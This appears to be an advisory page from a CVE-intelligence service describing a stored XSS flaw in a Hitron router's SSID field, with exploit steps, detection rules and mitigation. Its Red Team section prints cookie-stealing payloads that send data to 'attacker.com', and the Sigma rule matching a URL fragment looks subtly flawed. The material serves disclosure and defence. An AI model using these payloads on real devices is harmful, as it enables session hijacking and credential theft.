CVE-2024-31973
Executive Summary
CVE-2024-31973 is a stored Cross-Site Scripting (XSS) vulnerability affecting the Hitron CODA-4582 cable modem/router (model 2AHKM-CODA4589) running firmware version 7.2.4.5.1b8. An attacker within Wi-Fi proximity can inject malicious JavaScript into the 'Network Name (SSID)' input field on the /index.html#wireless_basic page. This stored payload executes in the context of any administrator who subsequently views the wireless settings page, enabling session hijacking, credential theft, or further device compromise. The vulnerability is currently unpatched, and no official fix has been released by Hitron.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a consumer networking device. The attack surface is limited to local Wi-Fi proximity, but the impact is severe due to the stored nature of the XSS and the privileged context of the admin interface.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Adjacent Network (Wi-Fi proximity required)
- Attack Complexity (AC): Low
- Privileges Required (PR): None
- User Interaction (UI): Required (admin must view the page)
- Scope (S): Changed (XSS allows script execution in the admin's browser)
- Confidentiality (C): Low (potential for session token theft)
- Integrity (I): Low (malicious actions via admin session)
- Availability (A): None
Threat Level: Medium. The requirement for Wi-Fi proximity reduces the attack surface, but the stored XSS can lead to full device compromise if an admin session is hijacked.
Deep Dive & Mechanics
The vulnerability resides in the web interface of the Hitron CODA-4582. The /index.html#wireless_basic page allows configuration of Wi-Fi SSIDs. The application fails to sanitize or encode user-supplied input in the 'Network Name (SSID)' field before storing it in the device's configuration database. When an administrator navigates to the wireless settings page, the stored SSID value is rendered in the HTML without proper escaping, allowing arbitrary JavaScript execution.
Attack Flow:
- Attacker connects to the target Wi-Fi network (or creates a rogue AP with the same SSID).
- Attacker accesses the device's web interface (typically
http://192.168.0.1/) and navigates to the wireless basic settings page. - Attacker injects a malicious payload into the SSID field, e.g.,
<script>alert('XSS')</script>. - The payload is stored in the device's configuration.
- When an administrator (or any user with access to the admin interface) views the wireless settings page, the script executes in their browser.
- The attacker can then steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.
Root Cause: Lack of output encoding/escaping for the SSID field when rendering the stored value in the HTML response.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
<!-- /index.html#wireless_basic page rendering SSID -->
<input type="text" id="ssid" value="<%= ssid_value %>" />
The ssid_value is directly interpolated without HTML encoding.
Patched Code (Hypothetical):
<!-- Properly escaped SSID -->
<input type="text" id="ssid" value="<%= escapeHtml(ssid_value) %>" />
Where escapeHtml() encodes characters like <, >, ", ', and &.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Hitron CODA-4582 with firmware 7.2.4.5.1b8
- Wi-Fi proximity to the device
- Access to the admin web interface (default credentials often
admin/password)
Exploit Steps:
- Connect to the target Wi-Fi network.
- Open a browser and navigate to
http://192.168.0.1/. - Log in with admin credentials.
- Navigate to
http://192.168.0.1/index.html#wireless_basic. - In the 'Network Name (SSID)' field, inject the following payload:
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> - Click 'Apply' or 'Save'.
- Wait for an admin to view the wireless settings page. The script will execute, sending the admin's session cookie to the attacker's server.
Alternative Payload (Session Hijacking):
<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script>
Blue Team
Detection:
- Monitor for unusual SSID names containing HTML tags or JavaScript code.
- Use network monitoring to detect outbound connections to unknown IPs from the device's admin interface.
- Check device logs for repeated failed login attempts or configuration changes.
Mitigation:
- Immediately change the admin password to a strong, unique value.
- Disable remote management if not required.
- Restrict access to the admin interface to trusted IPs only.
- Apply any firmware updates from Hitron as soon as they become available.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests from the device to attacker-controlled servers (e.g.,
http://attacker.com/steal?cookie=...). - Unusual SSID names containing
<script>,onerror=, or other HTML/JavaScript patterns.
- Outbound HTTP requests from the device to attacker-controlled servers (e.g.,
- Host (Device):
- Modified wireless configuration with suspicious SSID values.
- Unexpected admin session activity (e.g., configuration changes made outside normal hours).
- Logs:
- Device logs showing repeated access to
/index.html#wireless_basicfollowed by configuration saves.
- Device logs showing repeated access to
Detection Engineering
YARA Rule
rule CVE_2024_31973_Stored_XSS_SSID {
meta:
description = "Detects stored XSS payloads in Hitron CODA-4582 SSID fields"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-31973"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$xss_event = /on\w+\s*=\s*['\"].*['\"]/i
condition:
$xss_payload or $xss_event
}
Sigma Rule
title: Hitron CODA-4582 Stored XSS via SSID
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-31973 by injecting XSS payloads into the SSID field.
author: Valters IT
date: 2024/10/27
logsource:
category: web
product: hitron_coda4582
detection:
selection:
http.method: POST
http.url: '/index.html#wireless_basic'
http.body|contains:
- '<script>'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate SSID names containing special characters (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-31973 Hitron CODA-4582 Stored XSS SSID Injection"; flow:to_server,established; content:"POST"; http_method; content:"/index.html#wireless_basic"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Change Admin Credentials: Use a strong, unique password for the admin interface.
- Disable Remote Management: If not required, disable WAN-side access to the admin interface.
- Restrict Access: Limit admin interface access to specific IP addresses via firewall rules.
- Monitor SSIDs: Regularly audit SSID names for suspicious content.
Long-Term Fix:
- Vendor Patch: Await an official firmware update from Hitron that properly sanitizes SSID input.
- Workaround: If patching is not possible, consider replacing the device with a more secure alternative.
Valters IT Signature: This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further analysis or remediation support, contact us at [valters@example.com].
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.